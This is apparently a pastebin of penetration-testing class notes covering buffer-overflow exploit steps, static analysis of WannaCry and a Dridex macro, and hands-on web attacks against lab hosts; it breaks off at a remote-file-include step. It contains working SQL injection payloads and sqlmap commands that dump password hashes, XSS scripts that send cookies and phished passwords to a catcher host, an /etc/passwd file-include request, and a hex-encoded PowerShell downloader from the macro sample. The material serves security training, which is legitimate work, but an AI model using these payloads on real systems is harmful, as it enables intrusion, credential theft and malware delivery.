KWyer

Advanced Application Penetration Class Notes

Sep 19th, 2018
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 78.84 KB | None | 0 0
  1. #######################################
  2. ----------- ############### # Day 1: Intro to Exploit Development ################ -----------
  3. #######################################
  4.  
  5.  
  6. Step 1: Host Discovery - what's alive
  7. - Ping Sweep
  8. nmap -sP <IP-Range>
  9.  
  10. Step 2: Service Discovery - what's where
  11.  
  12. - Port Scan
  13. nmap -sS <IP-Range>
  14.  
  15. Step 3: Service Version Determination
  16. - Bannergrab
  17. nmap -sV <IP-Range>
  18.  
  19. Step 4: Vulnerability Research
  20. - Search exploit website
  21. http://exploit-db.com/search
  22.  
  23. -------------------------------------------------
  24. 1. App Type
  25. - Stand Alone
  26. - Client Server (***vulnserver.exe***)
  27. - Web App
  28.  
  29. 2. Input Type
  30. - Stand Alone File/Keyboard/Mouse
  31. - Client Server Logical network port (***9999***)
  32. - Web App Browser
  33.  
  34.  
  35. 3. Map and fuzz app entry points
  36. - Commands, Methods, Verbs, functions, controllers, subroutines
  37. TRUN 2100
  38.  
  39. 4. Isolate the crash
  40. EIP = 39 6F 43 38
  41. 9 o C 8
  42.  
  43. 5. Calculate distance to EIP
  44. 2006
  45.  
  46. 6. Redirect code execution to mem location you control
  47.  
  48. 7. Insert payload (shellcode)
  49. --------------------------------------------------------------
  50.  
  51. #########################################
  52. # FreeFloat FTP Server Exploit Analysis #
  53. #########################################
  54.  
  55.  
  56.  
  57. Analyze the following exploit code:
  58. https://www.exploit-db.com/exploits/15689/
  59.  
  60. 1. What is the target platform that this exploit works against?
  61. 2. What is the variable name for the distance to EIP?
  62. 3. What is the actual distance to EIP in bytes?
  63. 4. Describe what is happening in the variable ‘junk2’
  64.  
  65.  
  66.  
  67.  
  68. Analysis of the training walk-through based on EID: 15689:
  69. https://s3.amazonaws.com/infosecaddictsfiles/ff.zip
  70.  
  71.  
  72.  
  73.  
  74. ff1.py
  75. 1. What does the sys module do? Call System Commands
  76. 2. What is sys.argv[1] and sys.argv[2]?
  77. 3. What application entry point is being attacked in this script?
  78.  
  79.  
  80.  
  81. ff2.py
  82. 1. Explain what is happening in lines 18 - 20 doing.
  83. 2. What pattern_create.rb doing and where can I find it?
  84. 3. Why can’t I just double click the file to run this script?
  85.  
  86.  
  87.  
  88. ff3.py
  89. 1. Explain what is happening in lines 17 - to 25?
  90. 2. Explain what is happening in lines 30 - to 32?
  91. 3. Why is everything below line 35 commented out?
  92.  
  93.  
  94.  
  95. ff4.py
  96. 1. Explain what is happening in lines 13 - to 15.
  97. 2. Explain what is happening in line 19.
  98. 3. Why is everything below line 35 commented out?
  99.  
  100.  
  101.  
  102. Ff5.py
  103. 1. Explain what is happening in line 15.
  104. 2. What is struct.pack?
  105. 3. How big is the shellcode in this script?
  106.  
  107.  
  108.  
  109. ff6.py
  110. 1. What is the distance to EIP?
  111. 2. How big is the shellcode in this script?
  112. 3. What is the total byte length of the data being sent to this app?
  113.  
  114.  
  115.  
  116.  
  117. ff7.py
  118. 1. What is a tuple in python?
  119. 2. How big is the shellcode in this script?
  120. 3. Did your app crash in from this script?
  121.  
  122.  
  123.  
  124.  
  125. ff8.py
  126. 1. How big is the shellcode in this script?
  127. 2. What is try/except in python?
  128. 3. What is socket.SOCK_STREAM in Python?
  129.  
  130.  
  131.  
  132. ff9.py
  133. 1. What is going on in lines 19 and 20?
  134. 2. What is the length of the NOPs?
  135. 3. What is socket.SOCK_STREAM in Python?
  136.  
  137.  
  138.  
  139.  
  140. ff010.py
  141. 1. What is going on in lines 18 - 20?
  142. 2. What is going on in lines 29 - 32?
  143. 3. How would a stack adjustment help this script?
  144.  
  145.  
  146.  
  147.  
  148.  
  149. #######################################
  150. ----------- ################ Day 2: Intro to Defensive Cyber Ops ################ -----------
  151. #######################################
  152.  
  153. ################
  154. # The Scenario #
  155. ################
  156. You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
  157.  
  158.  
  159. The fastest thing you can do is perform static analysis.
  160.  
  161.  
  162.  
  163. ###################
  164. # Static Analysis #
  165. ###################
  166.  
  167. - After logging please open a terminal window and type the following commands:
  168.  
  169.  
  170. ---------------------------Type This-----------------------------------
  171. cd ~
  172.  
  173. mkdir malware_analysis
  174.  
  175. cd malware_analysis
  176.  
  177. wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
  178.  
  179. unzip wannacry.zip
  180. infected
  181.  
  182. file wannacry.exe
  183.  
  184. mv wannacry.exe malware.pdf
  185.  
  186. file malware.pdf
  187.  
  188. mv malware.pdf wannacry.exe
  189.  
  190. hexdump -n 2 -C wannacry.exe
  191.  
  192. ----------------------------------------------------------------------
  193.  
  194.  
  195. ***What is '4d 5a' or 'MZ'***
  196. Reference:
  197. http://www.garykessler.net/library/file_sigs.html
  198.  
  199.  
  200.  
  201.  
  202. ---------------------------Type This-----------------------------------
  203. objdump -x wannacry.exe
  204.  
  205. strings wannacry.exe
  206.  
  207. strings --all wannacry.exe | head -n 6
  208.  
  209. strings wannacry.exe | grep -i dll
  210.  
  211. strings wannacry.exe | grep -i library
  212.  
  213. strings wannacry.exe | grep -i reg
  214.  
  215. strings wannacry.exe | grep -i key
  216.  
  217. strings wannacry.exe | grep -i rsa
  218.  
  219. strings wannacry.exe | grep -i open
  220.  
  221. strings wannacry.exe | grep -i get
  222.  
  223. strings wannacry.exe | grep -i mutex
  224.  
  225. strings wannacry.exe | grep -i irc
  226.  
  227. strings wannacry.exe | grep -i join
  228.  
  229. strings wannacry.exe | grep -i admin
  230.  
  231. strings wannacry.exe | grep -i list
  232.  
  233. ----------------------------------------------------------------------
  234.  
  235.  
  236.  
  237.  
  238.  
  239. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
  240.  
  241. Quick Google search for "wannacry ransomeware analysis"
  242.  
  243.  
  244. Reference
  245. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  246.  
  247. - Yara Rule -
  248.  
  249.  
  250. Strings:
  251. $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
  252. $s2 = “Wanna Decryptor” wide ascii nocase
  253. $s3 = “.wcry” wide ascii nocase
  254. $s4 = “WANNACRY” wide ascii nocase
  255. $s5 = “WANACRY!” wide ascii nocase
  256. $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
  257.  
  258.  
  259.  
  260.  
  261.  
  262.  
  263.  
  264.  
  265. Ok, let's look for the individual strings
  266.  
  267.  
  268. ---------------------------Type This-----------------------------------
  269. strings wannacry.exe | grep -i ooops
  270.  
  271. strings wannacry.exe | grep -i wanna
  272.  
  273. strings wannacry.exe | grep -i wcry
  274.  
  275. strings wannacry.exe | grep -i wannacry
  276.  
  277. strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
  278. ----------------------------------------------------------------------
  279.  
  280.  
  281.  
  282.  
  283.  
  284.  
  285. ####################################
  286. # Tired of GREP - let's try Python #
  287. ####################################
  288. Decided to make my own script for this kind of stuff in the future. I
  289.  
  290. Reference1:
  291. https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
  292.  
  293. This is a really good script for the basics of static analysis
  294.  
  295. Reference:
  296. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  297.  
  298.  
  299. This is really good for showing some good signatures to add to the Python script
  300.  
  301.  
  302. Here is my own script using the signatures (started this yesterday, but still needs work):
  303. https://pastebin.com/guxzCBmP
  304.  
  305.  
  306.  
  307. ---------------------------Type This-----------------------------------
  308. sudo apt install -y python-pefile
  309. strategicsec
  310.  
  311.  
  312. wget https://pastebin.com/raw/guxzCBmP
  313.  
  314.  
  315. mv guxzCBmP am.py
  316.  
  317.  
  318. cat am.py | less
  319. q
  320.  
  321. python am.py wannacry.exe
  322. ----------------------------------------------------------------------
  323.  
  324. #####################################################
  325. # Analyzing Macro Embedded Malware #
  326. # Reference: #
  327. # https://jon.glass/analyzes-dridex-malware-p1/ #
  328. #####################################################
  329. ---------------------------Type This-----------------------------------
  330. cd ~/malware_analysis
  331.  
  332. sudo pip install olefile
  333. strategicsec
  334.  
  335. wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
  336.  
  337. unzip oledump_V0_0_22.zip
  338.  
  339. wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
  340.  
  341. unzip 064016.zip
  342. infected
  343.  
  344. python oledump.py 064016.doc
  345.  
  346. python oledump.py 064016.doc -s A4 -v
  347. -----------------------------------------------------------------------
  348.  
  349.  
  350.  
  351. - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
  352. - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
  353.  
  354. ---------------------------Type This-----------------------------------
  355. python oledump.py 064016.doc -s A5 -v
  356. -----------------------------------------------------------------------
  357.  
  358. - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
  359.  
  360. ---------------------------Type This-----------------------------------
  361. python oledump.py 064016.doc -s A3 -v
  362.  
  363. - Look for "GVhkjbjv" and you should see:
  364.  
  365. 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
  366.  
  367. - Take that long blob that starts with 636D and finishes with 653B and paste it in:
  368. http://www.rapidtables.com/convert/number/hex-to-ascii.htm
  369.  
  370. #######################################
  371. ##################################
  372. # Basic: Web Application Testing #
  373. ##################################
  374.  
  375. Most people are going to tell you reference the OWASP Testing guide.
  376. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  377.  
  378. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  379.  
  380.  
  381. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  382.  
  383. 1. Does the website talk to a DB?
  384. - Look for parameter passing (ex: site.com/page.php?id=4)
  385. - If yes - try SQL Injection
  386.  
  387. 2. Can I or someone else see what I type?
  388. - If yes - try XSS
  389.  
  390. 3. Does the page reference a file?
  391. - If yes - try LFI/RFI
  392.  
  393. Let's start with some manual testing against 45.77.162.239
  394.  
  395.  
  396. Start here:
  397. ---------------------------Paste this into Firefox-----------------------------------
  398. http://45.77.162.239/
  399. -----------------------------------------------------------------------
  400.  
  401. Let's try throwing a single quote (') in there:
  402. ---------------------------Paste this into Firefox-----------------------------------
  403. http://45.77.162.239/bookdetail.aspx?id=2'
  404. -------------------------------------------------------------------------------------
  405.  
  406. I get the following error:
  407.  
  408. Unclosed quotation mark after the character string ''.
  409. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  410.  
  411. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  412.  
  413.  
  414.  
  415.  
  416.  
  417.  
  418.  
  419.  
  420.  
  421.  
  422. #########################################################################################
  423. # SQL Injection #
  424. # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
  425. #########################################################################################
  426.  
  427.  
  428. - Another quick way to test for SQLI is to remove the parameter value
  429.  
  430.  
  431. #############################
  432. # Error-Based SQL Injection #
  433. #############################
  434. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  435. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  436. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  437. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  438. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  439. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  440. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  441. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  442. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  443. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  444. ---------------------------------------------------------------------------------------------------------
  445.  
  446.  
  447.  
  448.  
  449.  
  450. #############################
  451. # Union-Based SQL Injection #
  452. #############################
  453. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  454. http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
  455. http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
  456. http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
  457. http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
  458. http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
  459. http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
  460. http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
  461. http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
  462. http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
  463. http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  464. ---------------------------------------------------------------------------------------------------------
  465.  
  466. We are using a union select statement because we are joining the developer's query with one of our own.
  467. Reference:
  468. http://www.techonthenet.com/sql/union.php
  469. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  470. It removes duplicate rows between the various SELECT statements.
  471.  
  472. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  473. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  474. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  475. ---------------------------------------------------------------------------------------------------------
  476. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  477.  
  478. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  479. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  480. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  481. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  482. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  483. ---------------------------------------------------------------------------------------------------------
  484.  
  485.  
  486.  
  487.  
  488. - Another way is to see if you can get the backend to perform an arithmetic function
  489. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  490. http://45.77.162.239/bookdetail.aspx?id=(2)
  491. http://45.77.162.239/bookdetail.aspx?id=(4-2)
  492. http://45.77.162.239/bookdetail.aspx?id=(4-1)
  493. ---------------------------------------------------------------------------------------------------------
  494.  
  495. - This is some true/false logic testing
  496. ---------------------------Paste this into Firefox-----------------------------------
  497. http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
  498. http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
  499. http://45.77.162.239/bookdetail.aspx?id=1*1
  500. http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
  501. http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
  502. http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
  503. http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
  504. http://45.77.162.239/bookdetail.aspx?id=2 &0#
  505. -------------------------------------------------------------------------------------
  506.  
  507. -- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it
  508. ---------------------------Paste this into Firefox-----------------------------------
  509. http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
  510. http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
  511. http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
  512. http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  513. ---------------------------------------------------------------------------------------
  514.  
  515.  
  516. ###############################
  517. # Blind SQL Injection Testing #
  518. ###############################
  519. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  520.  
  521. 3 - Total Characters
  522. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  523. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  524. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  525. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  526. ---------------------------------------------------------------------------------------------------------
  527.  
  528. Let's go for a quick check to see if it's DBO
  529. ---------------------------Paste this into Firefox-----------------------------------
  530. http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  531. -------------------------------------------------------------------------------------
  532. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  533.  
  534. D - 1st Character
  535. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  536. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  537. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  538. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  539. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  540. ---------------------------------------------------------------------------------------------------------
  541.  
  542. B - 2nd Character
  543. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  544. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  545. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  546. ---------------------------------------------------------------------------------------------------------
  547.  
  548. O - 3rd Character
  549. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  550. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  551. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  552. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  553. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  554. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  555. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  556. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  557. ---------------------------------------------------------------------------------------------------------
  558.  
  559.  
  560.  
  561.  
  562. ##########
  563. # Sqlmap #
  564. ##########
  565. If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
  566. ---------------------------Type This-----------------------------------
  567. cd ~/toolz/sqlmap-dev/
  568. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
  569. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
  570. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
  571. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
  572. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
  573. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
  574. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
  575. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
  576. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
  577. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
  578. ------------------------------------------------------------------------
  579.  
  580.  
  581.  
  582. #######################
  583. # Attacking PHP/MySQL #
  584. #######################
  585.  
  586. Go to LAMP Target homepage
  587. ---------------------------Paste this into Firefox-----------------------------------
  588. http://45.63.104.73/
  589. -------------------------------------------------------------------------------------
  590.  
  591.  
  592. Clicking on the Acer Link:
  593. ---------------------------Paste this into Firefox-----------------------------------
  594. http://45.63.104.73/acre2.php?lap=acer
  595. -------------------------------------------------------------------------------------
  596.  
  597. - Found parameter passing (answer yes to question 1)
  598. - Insert ' to test for SQLI
  599.  
  600. ---------------------------Paste this into Firefox-----------------------------------
  601. http://45.63.104.73/acre2.php?lap=acer'
  602. -------------------------------------------------------------------------------------
  603.  
  604. Page returns the following error:
  605. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
  606.  
  607.  
  608.  
  609. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  610. We do this using the ORDER BY
  611. ---------------------------Paste this into Firefox-----------------------------------
  612. http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
  613. -------------------------------------------------------------------------------------
  614.  
  615.  
  616. Page returns the following error:
  617. Unknown column '100' in 'order clause'
  618.  
  619.  
  620. ---------------------------Paste this into Firefox-----------------------------------
  621. http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
  622. -------------------------------------------------------------------------------------
  623.  
  624.  
  625. Page returns the following error:
  626. Unknown column '50' in 'order clause'
  627.  
  628.  
  629. ---------------------------Paste this into Firefox-----------------------------------
  630. http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
  631. -------------------------------------------------------------------------------------
  632.  
  633. Page returns the following error:
  634. Unknown column '25' in 'order clause'
  635.  
  636.  
  637. ---------------------------Paste this into Firefox-----------------------------------
  638. http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
  639. -------------------------------------------------------------------------------------
  640.  
  641. Page returns the following error:
  642. Unknown column '12' in 'order clause'
  643.  
  644.  
  645. ---------------------------Paste this into Firefox-----------------------------------
  646. http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
  647. -------------------------------------------------------------------------------------
  648. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  649.  
  650.  
  651.  
  652. Now we build out the union all select statement with the correct number of columns
  653.  
  654. Reference:
  655. http://www.techonthenet.com/sql/union.php
  656.  
  657.  
  658. ---------------------------Paste this into Firefox-----------------------------------
  659. http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  660. -------------------------------------------------------------------------------------
  661.  
  662.  
  663.  
  664. Now we negate the parameter value 'acer' by turning into the word 'null':
  665.  
  666. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  667. -------------------------------------------------------------------------------------
  668.  
  669. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  670.  
  671.  
  672. Use a cheat sheet for syntax:
  673. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  674.  
  675. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  676. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  677.  
  678. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  679.  
  680. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  681.  
  682. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  683.  
  684. http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  685. ------------------------------------------------------------------------------------- -------------------
  686.  
  687.  
  688.  
  689.  
  690. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  691.  
  692. Here is a good reference for it:
  693. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  694.  
  695. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  696.  
  697.  
  698.  
  699. ###############################################################################
  700. # What is XSS #
  701. # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
  702. ###############################################################################
  703.  
  704. OK - what is Cross Site Scripting (XSS)
  705.  
  706. 1. Use Firefox to browse to the following location:
  707. ---------------------------Paste this into Firefox-----------------------------------
  708. http://45.63.104.73/xss_practice/
  709. -------------------------------------------------------------------------------------
  710.  
  711. A really simple search page that is vulnerable should come up.
  712.  
  713.  
  714.  
  715.  
  716. 2. In the search box type:
  717. ---------------------------Paste this into Firefox-----------------------------------
  718. <script>alert('So this is XSS')</script>
  719. -------------------------------------------------------------------------------------
  720.  
  721.  
  722. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  723. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  724.  
  725.  
  726. 3. In the search box type:
  727. ---------------------------Paste this into Firefox-----------------------------------
  728. <script>alert(document.cookie)</script>
  729. -------------------------------------------------------------------------------------
  730.  
  731.  
  732. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  733. Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
  734.  
  735. 4. Now replace that alert script with:
  736. ---------------------------Paste this into Firefox-----------------------------------
  737. <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  738. -------------------------------------------------------------------------------------
  739.  
  740. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  741.  
  742.  
  743. 5. Now view the stolen cookie at:
  744. ---------------------------Paste this into Firefox-----------------------------------
  745. http://45.63.104.73/xss_practice/cookie_stealer_logs.html
  746. -------------------------------------------------------------------------------------
  747.  
  748. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  749.  
  750.  
  751.  
  752.  
  753.  
  754.  
  755. ############################
  756. # A Better Way To Demo XSS #
  757. ############################
  758.  
  759.  
  760. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  761.  
  762.  
  763. Use Firefox to browse to the following location:
  764. ---------------------------Paste this into Firefox-----------------------------------
  765. http://45.63.104.73/xss_practice/
  766. -------------------------------------------------------------------------------------
  767.  
  768.  
  769. Paste this in the search box
  770. ----------------------------
  771.  
  772.  
  773. Option 1
  774. --------
  775. ---------------------------Paste this into Firefox-----------------------------------
  776. <script>
  777. password=prompt('Your session is expired. Please enter your password to continue',' ');
  778. document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
  779. </script>
  780. -------------------------------------------------------------------------------------
  781.  
  782. Now view the stolen cookie at:
  783. ---------------------------Paste this into Firefox-----------------------------------
  784. http://45.63.104.73/xss_practice/passwords.html
  785. -------------------------------------------------------------------------------------
  786.  
  787.  
  788. Option 2
  789. --------
  790. -------------------------Paste this into Firefox-----------------------------------
  791. <script>
  792. username=prompt('Please enter your username',' ');
  793. password=prompt('Please enter your password',' ');
  794. document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  795. </script>
  796. -------------------------------------------------------------------------------------
  797.  
  798.  
  799.  
  800. Now view the stolen cookie at:
  801. http://45.63.104.73/xss_practice/username_password_logs.html
  802.  
  803.  
  804.  
  805.  
  806. #########################################
  807. # Let's try a local file include (LFI) #
  808. #########################################
  809. - Here is an example of an LFI
  810. - Open this page in Firefox:
  811. -------------------------Paste this into Firefox-----------------------------------
  812. http://45.63.104.73/showfile.php?filename=contactus.txt
  813. -------------------------------------------------------------------------------------
  814.  
  815.  
  816. - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
  817. - Here you see a direct reference to a file on the local filesystem of the victim machine.
  818. - You can attack this by doing the following:
  819. -------------------------Paste this into Firefox-----------------------------------
  820. http://45.63.104.73/showfile.php?filename=/etc/passwd
  821. -------------------------------------------------------------------------------------
  822.  
  823.  
  824. - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
  825. - somewhere else on the Internet. Here is an example of a text file on the web:
  826. -------------------------Paste this into Firefox-----------------------------------
